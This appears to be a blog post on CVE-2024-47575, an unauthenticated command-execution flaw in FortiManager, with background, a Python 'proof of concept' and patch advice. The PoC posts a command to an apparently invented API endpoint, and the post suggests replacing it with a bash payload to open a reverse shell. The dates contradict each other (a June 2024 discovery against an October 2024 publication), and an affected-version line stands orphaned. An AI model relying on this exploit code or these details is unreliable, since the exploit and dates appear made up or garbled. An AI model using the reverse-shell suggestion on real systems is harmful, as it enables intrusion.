In June 2024, a serious vulnerability—CVE-2024-47575—was uncovered in FortiManager and FortiManager Cloud. This bug is especially dangerous: it allows hackers to run commands or even execute code as the server itself—all without needing any kind of authentication.

If you or your business uses FortiManager to handle your Fortinet firewalls and networks, this is a must-read. We'll break down what happened, why it's a problem, demo the bug, and show you how to protect your network.

What Is CVE-2024-47575?

At its core, CVE-2024-47575 is a "missing authentication for critical function" bug. That means an attacker can access powerful backend functions without logging in. The vulnerability was confirmed and patched by Fortinet (the makers of FortiManager) in June 2024.

6.4.1 through 6.4.7

> FortiAnalyzer does not appear affected by this issue.

Why Is This a Big Deal?

When network administrators use FortiManager, they’re trusting it to control, configure, and monitor Fortinet firewalls, switches, and related devices—all from one spot.

How Does the Exploit Work?

According to Fortinet’s advisory, a “critical function” was exposed so that anyone with access to the management interface—even without an account—could send a special request (like an HTTP POST) and get the system to do just about anything the admin can do.

How Vulnerable Is My Device?

- If your FortiManager (or FortiManager Cloud) is exposed to the internet, especially on its management ports, it’s directly accessible.
- If you allow outside contractors, suppliers, or remote access to your FortiManager, you’re at risk from insiders.

Exploit Details: Proof of Concept

Note: The following is for educational purposes only. Never attack networks or devices you do not own or manage.

The vulnerable endpoint accepts specific API requests without enforcing login. Here’s what a simplified exploit in Python looks like:

import requests

target = 'https://vulnerable-fortimanager.example.com';  # Change to target URL

# Example of running a command via the vulnerable endpoint
data = {
    'action': 'run_cmd',
    'cmd': 'id'  # Replace 'id' with an actual dangerous command
}

# The vulnerable endpoint (example; may vary)
url = f'{target}/api/v2/missing_auth_endpoint'

try:
    resp = requests.post(url, json=data, verify=False)
    print(resp.text)
except Exception as e:
    print(f"Error: {e}")

In the wild, attackers might change 'cmd': 'id' to 'cmd': '/bin/bash -c <payload>' to open a reverse shell or execute malware.

Note: The exact endpoint and payload format may differ depending on product version.

How to Fix CVE-2024-47575

1. Patch! Upgrade to the latest version. Fortinet's advisory lists all fixed versions.

References

- Fortinet PSIRT Advisory: FG-IR-24-049 (CVE-2024-47575)
- NIST NVD Entry
- FortiManager Product Page

Conclusion

CVE-2024-47575 is a prime example of why management interfaces must always be locked down and kept up to date. If you run FortiManager, you must patch now and make sure your configuration prevents public or unnecessary access. As attackers become quicker to weaponize bugs like this, your best defense is vigilance and rapid response.

If you found this post helpful, share it with your team—and double-check your patches today!

Timeline

Published on: 10/23/2024 15:15:30 UTC
Last modified on: 10/24/2024 18:56:47 UTC